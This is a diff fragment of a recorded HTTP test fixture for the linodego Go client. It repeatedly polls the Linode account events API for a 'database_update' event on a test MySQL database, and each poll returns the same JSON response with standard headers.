+ Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:21:33 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:21:48 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:22:03 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:22:18 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:22:33 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:22:48 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:23:03 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:23:18 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:23:33 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:23:48 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:24:03 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:24:18 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:24:33 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:24:48 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:25:03 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "465" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 18:25:18 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":133362,"entity.type":"database","id":{"+gte":755368578}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755368578, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_update", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def-updated", "id": 133362, "type": "database", "url": + "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + 